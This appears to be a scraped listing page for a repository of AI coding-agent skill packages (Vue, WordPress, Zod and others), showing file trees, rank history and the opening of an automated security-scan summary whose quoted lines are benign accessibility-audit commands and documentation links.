bytesreference/prop-defineprops-scope-limitation.mddoc3,717 bytesreference/provide-inject-debugging-challenges.mddoc5,651 bytesreference/provide-inject-default-value-factory.mddoc5,690 bytesreference/provide-inject-reactivity-not-automatic.mddoc5,133 bytesreference/provide-inject-synchronous-setup.mddoc5,171 bytesreference/reactive-destructuring.mddoc2,672 bytesreference/reactivity-debugging-hooks.mddoc4,323 bytesreference/reactivity-markraw-for-non-reactive.mddoc4,670 bytesreference/reactivity-proxy-identity-hazard.mddoc3,044 bytesreference/reactivity-same-tick-batching.mddoc4,529 bytesreference/ref-value-access.mddoc2,099 bytesreference/refs-in-collections-need-value.mddoc3,029 bytesreference/render-function-avoid-internal-vnode-properties.mddoc4,370 bytesreference/render-function-vnodes-must-be-unique.mddoc3,525 bytesreference/rendering-render-function-h-import-vue3.mddoc3,348 bytesreference/rendering-render-function-return-from-setup.mddoc3,640 bytesreference/rendering-render-function-slots-as-functions.mddoc4,135 bytesreference/rendering-resolve-component-for-string-names.mddoc5,737 bytesreference/select-initial-value-ios-bug.mddoc3,123 bytesreference/self-referencing-component-name.mddoc3,734 bytesreference/sfc-named-exports-forbidden.mddoc4,423 bytesreference/sfc-scoped-css-child-component-styling.mddoc3,741 bytesreference/sfc-scoped-css-dynamic-content.mddoc4,462 bytesreference/sfc-scoped-css-slot-content.mddoc4,684 bytesreference/sfc-script-setup-reactivity.mddoc5,059 bytesreference/slot-forwarding-to-child-components.mddoc4,019 bytesreference/slot-implicit-default-content.mddoc3,468 bytesreference/slot-name-reserved-prop.mddoc2,781 bytesreference/slot-named-scoped-explicit-default.mddoc3,007 bytesreference/slot-render-scope-parent-only.mddoc3,652 bytesreference/slot-v-slot-on-components-or-templates-only.mddoc3,081 bytesreference/ssr-hydration-mismatch-causes.mddoc6,945 bytesreference/ssr-platform-specific-apis.mddoc6,925 bytesreference/state-ssr-cross-request-pollution.mddoc7,102 bytesreference/suspense-no-builtin-error-handling.mddoc3,010 bytesreference/suspense-ssr-hydration-issues.mddoc4,301 bytesreference/tailwind-dynamic-class-generation.mddoc3,157 bytesreference/teleport-scoped-styles-limitation.mddoc3,905 bytesreference/teleport-ssr-hydration.mddoc3,781 bytesreference/teleport-target-must-exist.mddoc3,304 bytesreference/template-expressions-restrictions.mddoc3,443 bytesreference/template-functions-no-side-effects.mddoc5,193 bytesreference/template-ref-null-with-v-if.mddoc3,023 bytesreference/template-ref-unwrapping-top-level.mddoc3,135 bytesreference/template-ref-v-for-order.mddoc4,547 bytesreference/textarea-no-interpolation.mddoc2,298 bytesreference/transition-group-flip-inline-elements.mddoc4,021 bytesreference/transition-group-move-animation-position-absolute.mddoc3,747 bytesreference/transition-group-no-default-wrapper-vue3.mddoc4,003 bytesreference/transition-js-hooks-done-callback.mddoc6,164 bytesreference/transition-nested-duration.mddoc4,997 bytesreference/transition-reusable-scoped-style.mddoc5,290 bytesreference/transition-router-view-appear.mddoc4,930 bytesreference/transition-type-when-mixed.mddoc4,419 bytesreference/transition-unmount-hook-timing.mddoc4,309 bytesreference/ts-defineprops-boolean-default-false.mddoc5,532 bytesreference/ts-defineprops-imported-types-limitations.mddoc6,017 bytesreference/ts-event-handler-explicit-typing.mddoc5,945 bytesreference/ts-reactive-no-generic-argument.mddoc4,845 bytesreference/ts-shallowref-for-dynamic-components.mddoc6,081 bytesreference/ts-template-ref-null-handling.mddoc5,354 bytesreference/ts-template-type-casting.mddoc5,096 bytesreference/ts-withdefaults-mutable-factory-function.mddoc4,641 bytesreference/undeclared-emits-double-firing.mddoc4,973 bytesreference/use-template-ref-vue35.mddoc4,285 bytesreference/v-else-must-follow-v-if.mddoc3,962 bytesreference/v-for-component-props.mddoc2,621 bytesreference/v-for-computed-reverse-sort.mddoc2,843 bytesreference/v-for-key-attribute.mddoc3,244 bytesreference/v-for-range-starts-at-one.mddoc2,264 bytesreference/v-if-null-check-order.mddoc4,305 bytesreference/v-model-ignores-html-attributes.mddoc2,519 bytesreference/v-model-ime-composition.mddoc2,897 bytesreference/v-model-number-modifier-behavior.mddoc3,693 bytesreference/v-show-template-limitation.mddoc3,635 bytesreference/watch-async-cleanup.mddoc4,434 bytesreference/watch-async-creation-memory-leak.mddoc4,133 bytesreference/watch-deep-same-object-reference.mddoc4,444 bytesreference/watch-flush-timing.mddoc5,038 bytesreference/watch-reactive-property-getter.mddoc3,017 bytesreference/watcheffect-async-dependency-tracking.mddoc4,645 bytesreference/watcheffect-flush-post-for-refs.mddoc4,276 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubvue-pinia-best-practices
When your agent uses it
Pinia stores, state management patterns, store setup, and reactivity with stores.
What it loads into context
Frontmatter
50 tokensAlways available to the agent
SKILL.md
271 tokensWhen the skill is activated
Reference documents
8,958 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Files
SKILL.mdcore1,170 bytesreference/pinia-no-active-pinia-error.mddoc6,407 bytesreference/pinia-setup-store-return-all-state.mddoc5,935 bytesreference/pinia-store-destructuring-breaks-reactivity.mddoc5,192 bytesreference/state-url-for-ephemeral-filters.mddoc7,225 bytesreference/state-use-pinia-for-large-apps.mddoc6,390 bytesreference/store-method-binding-parentheses.mddoc5,309 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubweb-perf
When your agent uses it
Audit, diagnose, or optimize website loading and interaction performance, Core Web Vitals, and Lighthouse performance scores.
What it loads into context
Frontmatter
30 tokensAlways available to the agent
SKILL.md
2,049 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Retrieval Sources
- FIRST: Verify MCP Tools Available
- Key Guidelines
- Quick Reference
- Workflow
- Phase 5: Codebase Analysis
- Output Format
Files
SKILL.mdcore8,259 bytesSKILL.mdcore8,259 bytesSKILL.mdcore8,259 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubwordpress-router
When your agent uses it
Use when the user asks about WordPress codebases (plugins, themes, block themes, Gutenberg blocks, WP core checkouts) and you need to quickly classify the repo and route to the correct workflow/skill (blocks, theme.json, REST API, WP-CLI, performance, security, testing, release packaging).
What it loads into context
Frontmatter
111 tokensAlways available to the agent
SKILL.md
512 tokensWhen the skill is activated
Reference documents
777 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to use
- Inputs required
- Procedure
- Verification
- Failure modes / debugging
- Escalation
Files
SKILL.mdcore2,226 bytesSKILL.mdcore2,226 bytesSKILL.mdcore2,226 bytesreferences/decision-tree.mddoc3,153 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubworkers-best-practices
When your agent uses it
Cloudflare Workers best practices for production applications. Use when writing, reviewing, or configuring Workers.
What it loads into context
Frontmatter
29 tokensAlways available to the agent
SKILL.md
1,120 tokensWhen the skill is activated
Reference documents
5,231 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- References
- Keep Compatibility Dates Current
- Enable Observability
- Anti-Patterns to Flag
- Validation
- Scope
Files
SKILL.mdcore5,609 bytesSKILL.mdcore5,609 bytesreferences/configuration.mddoc5,657 bytesreferences/platform-apis.mddoc3,876 bytesreferences/runtime-patterns.mddoc13,644 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubwp-block-development
When your agent uses it
Use when developing WordPress (Gutenberg) blocks: block.json metadata, register_block_type(_from_metadata), attributes/serialization, supports, dynamic rendering (render.php/render_callback), deprecations/migrations, viewScript vs viewScriptModule, and @wordpress/scripts/@wordpress/create-block build and test workflows.
What it loads into context
Frontmatter
110 tokensAlways available to the agent
SKILL.md
1,451 tokensWhen the skill is activated
Reference documents
2,321 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to use
- Inputs required
- Procedure
- Verification
- Failure modes / debugging
- Escalation
Scripts executed separately
scripts/list_blocks.mjs
Files
SKILL.mdcore6,491 bytesSKILL.mdcore6,491 bytesSKILL.mdcore6,491 bytesSKILL.mdcore6,491 bytesSKILL.mdcore6,491 bytesreferences/attributes-and-serialization.mddoc759 bytesreferences/block-json.mddoc2,336 bytesreferences/creating-new-blocks.mddoc1,594 bytesreferences/debugging.mddoc1,372 bytesreferences/deprecations.mddoc665 bytesreferences/dynamic-rendering.mddoc685 bytesreferences/inner-blocks.mddoc1,196 bytesreferences/registration.mddoc932 bytesreferences/supports-and-wrappers.mddoc512 bytesreferences/tooling-and-testing.mddoc928 bytesscripts/list_blocks.mjsruns2,889 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubwp-block-themes
When your agent uses it
Use when developing WordPress block themes: theme.json (global settings/styles), templates and template parts, patterns, style variations, and Site Editor troubleshooting (style hierarchy, overrides, caching).
What it loads into context
Frontmatter
86 tokensAlways available to the agent
SKILL.md
882 tokensWhen the skill is activated
Reference documents
1,664 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to use
- Inputs required
- Procedure
- Verification
- Failure modes / debugging
- Escalation
Scripts executed separately
scripts/detect_block_themes.mjs
Files
SKILL.mdcore3,967 bytesSKILL.mdcore3,967 bytesSKILL.mdcore3,967 bytesSKILL.mdcore3,967 bytesreferences/creating-new-block-theme.mddoc1,378 bytesreferences/debugging.mddoc1,008 bytesreferences/patterns.mddoc592 bytesreferences/style-variations.mddoc439 bytesreferences/templates-and-parts.mddoc442 bytesreferences/theme-json.mddoc3,491 bytesscripts/detect_block_themes.mjsruns2,736 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubwp-performance
When your agent uses it
Use when investigating or improving WordPress performance (backend-only agent): profiling and measurement (WP-CLI profile/doctor, Server-Timing, Query Monitor via REST headers), database/query optimization, autoloaded options, object caching, cron, HTTP API calls, and safe verification.
What it loads into context
Frontmatter
101 tokensAlways available to the agent
SKILL.md
1,439 tokensWhen the skill is activated
Reference documents
1,800 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to use
- Inputs required
- Procedure
- WordPress 6.9 performance improvements
- Verification
- Failure modes / debugging
- Escalation
Scripts executed separately
scripts/perf_inspect.mjs
Files
SKILL.mdcore6,151 bytesSKILL.mdcore6,151 bytesreferences/autoload-options.mddoc810 bytesreferences/cron.mddoc483 bytesreferences/database.mddoc619 bytesreferences/http-api.mddoc458 bytesreferences/measurement.mddoc1,037 bytesreferences/object-cache.mddoc756 bytesreferences/query-monitor-headless.mddoc1,108 bytesreferences/server-timing.mddoc639 bytesreferences/wp-cli-doctor.mddoc1,023 bytesreferences/wp-cli-profile.mddoc858 bytesscripts/perf_inspect.mjsruns4,630 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubwp-plugin-development
When your agent uses it
Use when developing WordPress plugins: architecture and hooks, activation/deactivation/uninstall, admin UI and Settings API, data storage, cron/tasks, security (nonces/capabilities/sanitization/escaping), and release packaging.
What it loads into context
Frontmatter
93 tokensAlways available to the agent
SKILL.md
888 tokensWhen the skill is activated
Reference documents
1,004 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to use
- Inputs required
- Procedure
- Verification
- Failure modes / debugging
- Escalation
Scripts executed separately
scripts/detect_plugins.mjs
Files
SKILL.mdcore3,996 bytesSKILL.mdcore3,996 bytesSKILL.mdcore3,996 bytesSKILL.mdcore3,996 bytesreferences/data-and-cron.mddoc678 bytesreferences/debugging.mddoc559 bytesreferences/lifecycle.mddoc854 bytesreferences/security.mddoc1,538 bytesreferences/settings-api.mddoc703 bytesreferences/structure.mddoc401 bytesscripts/detect_plugins.mjsruns2,850 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubwp-project-triage
When your agent uses it
Use when you need a deterministic inspection of a WordPress repository (plugin/theme/block theme/WP core/Gutenberg/full site) including tooling/tests/version hints, and a structured JSON report to guide workflows and guardrails.
What it loads into context
Frontmatter
93 tokensAlways available to the agent
SKILL.md
342 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to use
- Inputs required
- Procedure
- Verification
- Failure modes / debugging
Scripts executed separately
scripts/detect_wp_project.mjs
Files
SKILL.mdcore1,484 bytesSKILL.mdcore1,484 bytesSKILL.mdcore1,484 bytesreferences/triage.schema.jsonasset4,480 bytesscripts/detect_wp_project.mjsruns19,195 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubwp-rest-api
When your agent uses it
Use when building, extending, or debugging WordPress REST API endpoints/routes: register_rest_route, WP_REST_Controller/controller classes, schema/argument validation, permission_callback/authentication, response shaping, register_rest_field/register_meta, or exposing CPTs/taxonomies via show_in_rest.
What it loads into context
Frontmatter
104 tokensAlways available to the agent
SKILL.md
1,183 tokensWhen the skill is activated
Reference documents
1,347 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to use
- Inputs required
- Procedure
- Verification
- Failure modes / debugging
- Escalation
Files
SKILL.mdcore4,876 bytesSKILL.mdcore4,876 bytesSKILL.mdcore4,876 bytesreferences/authentication.mddoc627 bytesreferences/custom-content-types.mddoc760 bytesreferences/discovery-and-params.mddoc730 bytesreferences/responses-and-fields.mddoc1,091 bytesreferences/routes-and-endpoints.mddoc1,370 bytesreferences/schema.mddoc964 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubwp-wpcli-and-ops
When your agent uses it
Use when working with WP-CLI (wp) for WordPress operations: safe search-replace, db export/import, plugin/theme/user/content management, cron, cache flushing, multisite, and scripting/automation with wp-cli.yml.
What it loads into context
Frontmatter
91 tokensAlways available to the agent
SKILL.md
948 tokensWhen the skill is activated
Reference documents
1,114 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to use
- Inputs required
- Procedure
- Verification
- Failure modes / debugging
- Escalation
Scripts executed separately
scripts/wpcli_inspect.mjs
Files
SKILL.mdcore3,975 bytesSKILL.mdcore3,975 bytesreferences/automation.mddoc628 bytesreferences/cron-and-cache.mddoc490 bytesreferences/debugging.mddoc519 bytesreferences/multisite.mddoc568 bytesreferences/packages-and-updates.mddoc530 bytesreferences/safety.mddoc804 bytesreferences/search-replace.mddoc995 bytesscripts/wpcli_inspect.mjsruns3,048 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubwrangler
When your agent uses it
Run or troubleshoot Wrangler CLI commands in projects that have a wrangler.jsonc, wrangler.json, or wrangler.toml file, including local development, Previews, deployment, and resource management. For new projects and projects without a Wrangler configuration file, use the cf CLI instead.
What it loads into context
Frontmatter
64 tokensAlways available to the agent
SKILL.md
2,232 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Inspect the Project
- Retrieve What the Task Needs
- Apply the Change
- Work with Workers Previews
- Validate
Files
SKILL.mdcore11,626 bytesSKILL.mdcore11,626 bytesSKILL.mdcore11,626 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubxcode-build-orchestrator
When your agent uses it
Orchestrate Xcode build optimization by benchmarking first, running the specialist analysis skills, prioritizing findings, requesting explicit approval, delegating approved fixes to xcode-build-fixer, and re-benchmarking after changes. Use when a developer wants an end-to-end build optimization workflow, asks to speed up Xcode builds, wants a full build audit, or needs a recommend-first optimization pass covering compilation, project settings, and packages.
What it loads into context
Frontmatter
98 tokensAlways available to the agent
SKILL.md
2,401 tokensWhen the skill is activated
Reference documents
5,294 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Non-Negotiable Rules
- Two-Phase Workflow
- Prioritization Rules
- Recommendation Impact Language
- Approval Gate
- Post-Approval Execution
- Final Report
- Preferred Command Paths
- Additional Resources
Scripts executed separately
scripts/benchmark_builds.pyscripts/diagnose_compilation.pyscripts/generate_optimization_report.py
Files
SKILL.mdcore11,513 bytesSKILL.mdcore11,513 bytesSKILL.mdcore11,513 bytesSKILL.mdcore11,513 bytesSKILL.mdcore11,513 bytesSKILL.mdcore11,513 bytesreferences/benchmark-artifacts.mddoc4,816 bytesreferences/build-settings-best-practices.mddoc8,567 bytesreferences/orchestration-report-template.mddoc6,666 bytesreferences/recommendation-format.mddoc2,876 bytesscripts/benchmark_builds.pyruns12,347 bytesscripts/diagnose_compilation.pyruns10,147 bytesscripts/generate_optimization_report.pyruns22,701 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubzod
When your agent uses it
Zod schema validation best practices for type safety, parsing, and error handling. This skill should be used when defining z.object schemas, using z.string validations, safeParse, or z.infer. This skill does NOT cover React Hook Form integration patterns (use react-hook-form skill) or OpenAPI client generation (use orval skill).
What it loads into context
Frontmatter
75 tokensAlways available to the agent
SKILL.md
1,370 tokensWhen the skill is activated
Reference documents
39,177 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Apply
- Rule Categories by Priority
- Quick Reference
- How to Use
- Full Compiled Document
- Related Skills
- Sources
Files
AGENTS.mddoc11,508 bytesREADME.mddoc3,091 bytesSKILL.mdcore5,458 bytesassets/templates/_template.mddoc726 bytesmetadata.jsonasset1,906 bytesreferences/_sections.mddoc2,222 bytesreferences/compose-intersection.mddoc3,463 bytesreferences/compose-lazy-recursive.mddoc3,281 bytesreferences/compose-pipe.mddoc3,404 bytesreferences/compose-preprocess.mddoc3,707 bytesreferences/compose-shared-schemas.mddoc3,334 bytesreferences/error-avoid-throwing-in-refine.mddoc3,434 bytesreferences/error-custom-messages.mddoc3,521 bytesreferences/error-i18n.mddoc4,008 bytesreferences/error-path-for-nested.mddoc3,679 bytesreferences/error-use-flatten.mddoc3,319 bytesreferences/object-discriminated-unions.mddoc4,016 bytesreferences/object-extend-for-composition.mddoc3,438 bytesreferences/object-optional-vs-nullable.mddoc3,693 bytesreferences/object-partial-for-updates.mddoc3,562 bytesreferences/object-pick-omit.mddoc3,871 bytesreferences/object-strict-vs-strip.mddoc3,014 bytesreferences/parse-async-for-async-refinements.mddoc3,084 bytesreferences/parse-avoid-double-validation.mddoc3,356 bytesreferences/parse-handle-all-issues.mddoc3,350 bytesreferences/parse-never-trust-json.mddoc3,140 bytesreferences/parse-use-safeparse.mddoc2,782 bytesreferences/parse-validate-early.mddoc3,354 bytesreferences/perf-arrays.mddoc3,991 bytesreferences/perf-avoid-dynamic-creation.mddoc3,259 bytesreferences/perf-cache-schemas.mddoc3,114 bytesreferences/perf-lazy-loading.mddoc3,543 bytesreferences/perf-zod-mini.mddoc3,098 bytesreferences/refine-add-path.mddoc3,771 bytesreferences/refine-catch.mddoc3,746 bytesreferences/refine-defaults.mddoc3,645 bytesreferences/refine-transform-coerce.mddoc3,446 bytesreferences/refine-vs-superrefine.mddoc4,176 bytesreferences/schema-avoid-optional-abuse.mddoc2,654 bytesreferences/schema-coercion-for-form-data.mddoc2,981 bytesreferences/schema-string-validations.mddoc2,766 bytesreferences/schema-use-enums.mddoc2,737 bytesreferences/schema-use-primitives-correctly.mddoc2,105 bytesreferences/schema-use-unknown-not-any.mddoc2,220 bytesreferences/type-branded-types.mddoc3,181 bytesreferences/type-enable-strict-mode.mddoc2,975 bytesreferences/type-export-schemas-and-types.mddoc3,060 bytesreferences/type-input-vs-output.mddoc3,224 bytesreferences/type-use-z-infer.mddoc3,029 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubSkills included
- accessibility
- adev-writing-guide
- agents-sdk
- android-architecture-clean
- android-compose-foundations
- android-coroutines-flow
- android-di-hilt
- android-gradle-build-logic
- android-kotlin-core
- android-networking-retrofit-okhttp
- android-testing-unit
- angular-developer
- apply-stack-conventions
- aspnet-core
- aspnet-minimal-api-openapi
- astro
- azure-ai
- azure-deploy
- azure-diagnostics
- bash-defensive-patterns
- better-auth-best-practices
- bun
- chrome-extension-development
- clerk
- clerk-android
- clerk-astro-patterns
- clerk-backend-api
- clerk-chrome-extension-patterns
- clerk-custom-ui
- clerk-expo
- clerk-nextjs-patterns
- clerk-nuxt-patterns
- clerk-orgs
- clerk-react-patterns
- clerk-react-router-patterns
- clerk-setup
- clerk-swift
- clerk-tanstack-patterns
- clerk-testing
- clerk-vue-patterns
- clerk-webhooks
- cloudflare
- cloudflare-deploy
- vercel-composition-patterns
- containerize-aspnetcore
- core-data-expert
- csharp-async
- csharp-docs
- csharp-mstest
- csharp-nunit
- csharp-tunit
- csharp-xunit
- dart-best-practices
- deploy-to-vercel
- sleek-design-mobile-apps
- django-expert
- django-patterns
- django-security
- dotnet-best-practices
- dotnet-design-pattern-review
- dotnet-upgrade
- drizzle
- durable-objects
- eas-app-stores
- eas-hosting
- eas-workflows
- elevenlabs-music
- elevenlabs-tts
- elysiajs
- email-and-password-best-practices
- expo-data-fetching
- expo-dev-client
- expo-dom
- expo-native-ui
- expo-upgrade
- fastapi
- fastapi-python
- fastapi-templates
- fastmcp
- flask-api-development
- fluentui-blazor
- flutter-animations
- flutter-expert
- flutter-testing
- frontend-design
- generating-sorbet
- generating-sorbet-inline
- golang-patterns
- golang-testing
- gsap-core
- gsap-frameworks
- gsap-performance
- gsap-plugins
- gsap-react
- gsap-scrolltrigger
- gsap-timeline
- gsap-utils
- hono
- implement-background-job
- instantdb
- java-coding-standards
- java-docs
- java-springboot
- kotlin-tooling-agp9-migration
- kotlin-tooling-cocoapods-spm-migration
- laravel-patterns
- laravel-specialist
- Machine Learning
- migrate-to-vinext
- neon-postgres
- nestjs-best-practices
- next-cache-components-adoption
- nodejs-backend-patterns
- nodejs-best-practices
- nodejs-express-server
- nuxt
- organization-best-practices
- oxlint
- Pandas Data Analysis
- pandas-pro
- php-pro
- plan-tests
- playwright-best-practices
- PR Review
- prisma-cli
- prisma-client-api
- prisma-database-setup
- prisma-postgres
- pydantic
- python-background-jobs
- python-executor
- python-patterns
- python-testing-patterns
- rails-guides
- rails-upgrade
- vercel-react-best-practices
- react-hook-form
- react-three-fiber
- redis-core
- refactor-module
- reference-compiler-cli
- reference-core
- reference-signal-forms
- remotion-best-practices
- review-migration
- ruby
- ruby-on-rails-best-practices
- rust-best-practices
- sandbox-stable
- scikit-learn
- security-check
- senior-data-scientist
- seo
- shadcn
- sqlalchemy
- sqlalchemy-alembic-expert-best-practices-code-review
- stripe-best-practices
- supabase-postgres-best-practices
- svelte-code-writer
- svelte5-best-practices
- swift-concurrency
- swift-testing-expert
- swiftui-expert-skill
- tailwind-css-patterns
- tailwind-v4-shadcn
- tanstack-start
- tauri-v2
- terraform-module-library
- terraform-stacks
- terraform-style-guide
- test-driven-development
- test-service
- threejs-animation
- threejs-fundamentals
- threejs-geometry
- threejs-interaction
- threejs-lighting
- threejs-loaders
- threejs-materials
- threejs-postprocessing
- threejs-shaders
- threejs-textures
- triage-bug
- turborepo
- two-factor-authentication-best-practices
- typescript-advanced-types
- upgrade-stripe
- ai-sdk
- vite
- vitest
- vue
- vue-best-practices
- vue-debug-guides
- vue-pinia-best-practices
- web-perf
- wordpress-router
- workers-best-practices
- wp-block-development
- wp-block-themes
- wp-performance
- wp-plugin-development
- wp-project-triage
- wp-rest-api
- wp-wpcli-and-ops
- wrangler
- xcode-build-orchestrator
- zod
Repository facts
- License
- No license detected
- Created
- Mar 25, 2026
- Last pushed
- Nov 4, 2026
- Forks
- 634
- Open issues
- 1
- Project activity
- Active
Rank over the last 12 weeks
Now #210 · best #160 · down 17 in 30 days
- #206 on Oct 30
- #207 from Oct 31 to Nov 1
- #208 on Nov 2
- #210 on Nov 3
- #209 from Nov 4 to Nov 5
- #210 since Nov 6
62 earlier periods
- #156 on Aug 2
- #156 from Aug 7 to Aug 9
- #159 on Aug 10
- #160 from Aug 11 to Aug 12
- #162 from Aug 13 to Aug 14
- #161 from Aug 15 to Aug 17
- #163 from Aug 18 to Aug 19
- #162 on Aug 20
- #163 on Aug 21
- #160 on Aug 22
- #165 on Aug 23
- #164 on Aug 24
- #163 from Aug 25 to Aug 26
- #164 on Aug 27
- #163 on Aug 28
- #165 on Aug 29
- #163 on Aug 30
- #169 on Sep 1
- #165 on Sep 2
- #169 on Sep 3
- #170 on Sep 4
- #172 on Sep 5
- #169 on Sep 6
- #172 from Sep 7 to Sep 8
- #173 on Sep 9
- #174 on Sep 11
- #178 from Sep 12 to Sep 13
- #177 on Sep 14
- #179 on Sep 15
- #181 on Sep 16
- #183 on Sep 17
- #184 on Sep 18
- #183 on Sep 19
- #186 on Sep 20
- #185 on Sep 21
- #186 on Sep 22
- #187 on Sep 23
- #186 from Sep 24 to Sep 25
- #187 on Sep 26
- #189 on Sep 27
- #190 on Sep 28
- #191 on Sep 29
- #188 on Sep 30
- #190 on Oct 1
- #192 on Oct 2
- #187 on Oct 4
- #191 from Oct 5 to Oct 6
- #193 on Oct 7
- #191 on Oct 8
- #193 on Oct 9
- #191 on Oct 10
- #193 from Oct 11 to Oct 12
- #195 from Oct 13 to Oct 14
- #194 from Oct 15 to Oct 16
- #196 on Oct 17
- #196 on Oct 19
- #195 on Oct 20
- #197 from Oct 21 to Oct 22
- #198 on Oct 23
- #202 on Oct 25
- #203 on Oct 28
- #205 on Oct 29
Before you install
Network or broad shellAutomated signals, not a guarantee
Checked Nov 5, 2026
Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.
Show 691 notes
packages/autoskills/skills-registry/accessibility/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedpackages/autoskills/skills-registry/accessibility/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedpackages/autoskills/skills-registry/accessibility/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedpackages/autoskills/skills-registry/adev-writing-guide/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedpackages/autoskills/skills-registry/adev-writing-guide/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedpackages/autoskills/skills-registry/agents-sdk/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedpackages/autoskills/skills-registry/agents-sdk/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedpackages/autoskills/skills-registry/agents-sdk/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedpackages/autoskills/skills-registry/android-architecture-clean/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedpackages/autoskills/skills-registry/android-compose-foundations/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedpackages/autoskills/skills-registry/android-coroutines-flow/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedpackages/autoskills/skills-registry/android-di-hilt/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedpackages/autoskills/skills-registry/android-gradle-build-logic/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedpackages/autoskills/skills-registry/android-kotlin-core/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedpackages/autoskills/skills-registry/android-networking-retrofit-okhttp/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedpackages/autoskills/skills-registry/android-testing-unit/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedpackages/autoskills/skills-registry/angular-developer/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedpackages/autoskills/skills-registry/apply-stack-conventions/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedpackages/autoskills/skills-registry/apply-stack-conventions/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedpackages/autoskills/skills-registry/astro/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzed
- 4 broad permissionsin 4 files: clerk-backend-api/SKILL.md:1 eas-workflows/SKILL.md:1 shadcn/SKILL.md:1 and 1 more
- 75 dangerous shell commandsin 41 files: rails-guides/references/security.md:1059 clerk-backend-api/SKILL.md:53 bash-defensive-patterns/references/details.md:30 and 38 more
- 22,333 network referencesin 2,136 files: generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/payment_intent.rbi:10 rails-guides/references/active_support_core_extensions.md:1 generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/checkout/session_create_params.rbi:7 and 2,133 more
- No instruction overrides
- 1,215 executable scriptsin 1,215 files: android-architecture-clean/scripts/run_examples.sh:1 android-compose-foundations/scripts/run_examples.sh:1 android-coroutines-flow/scripts/run_examples.sh:1 and 1,212 more
- 831 references to secretsin 324 files: clerk-backend-api/SKILL.md:19 cloudflare-deploy/references/tunnel/api.md:9 django-expert/references/production-deployment.md:50 and 321 more
- No requests to vote in Hot
Show all 24,461 signals by file
packages/autoskills/skills-registry/accessibility/SKILL.md
- Network accessline 412
# Lighthouse accessibility audit npx lighthouse https://example.com --only-categories=accessibility - Network accessline 413
npx lighthouse https://example.com --only-categories=accessibility - Network accessline 415
# axe-core npm install @axe-core/cli -g axe https://example.com - Network accessline 417
axe https://example.com - Network accessline 459
- [WCAG 2.2 Quick Reference](https://www.w3.org/WAI/WCAG22/quickref/) - Network accessline 460
- [WAI-ARIA Authoring Practices](https://www.w3.org/WAI/ARIA/apg/) - Network accessline 461
- [Deque axe Rules](https://dequeuniversity.com/rules/axe/)
packages/autoskills/skills-registry/accessibility/references/WCAG.md
- Network accessline 109
<a href="/page">Descriptive link text</a> <!-- External links --> <a href="https://external.com" target="_blank" rel="noopener"> - Network accessline 110
<!-- External links --> <a href="https://external.com" target="_blank" rel="noopener"> External site - Network accessline 111
<a href="https://external.com" target="_blank" rel="noopener"> - Network accessline 178
| Tool | Type | URL | |------|------|-----| | axe DevTools | Browser extension | [deque.com/axe](https://www.deque.com/axe/) | - Network accessline 179
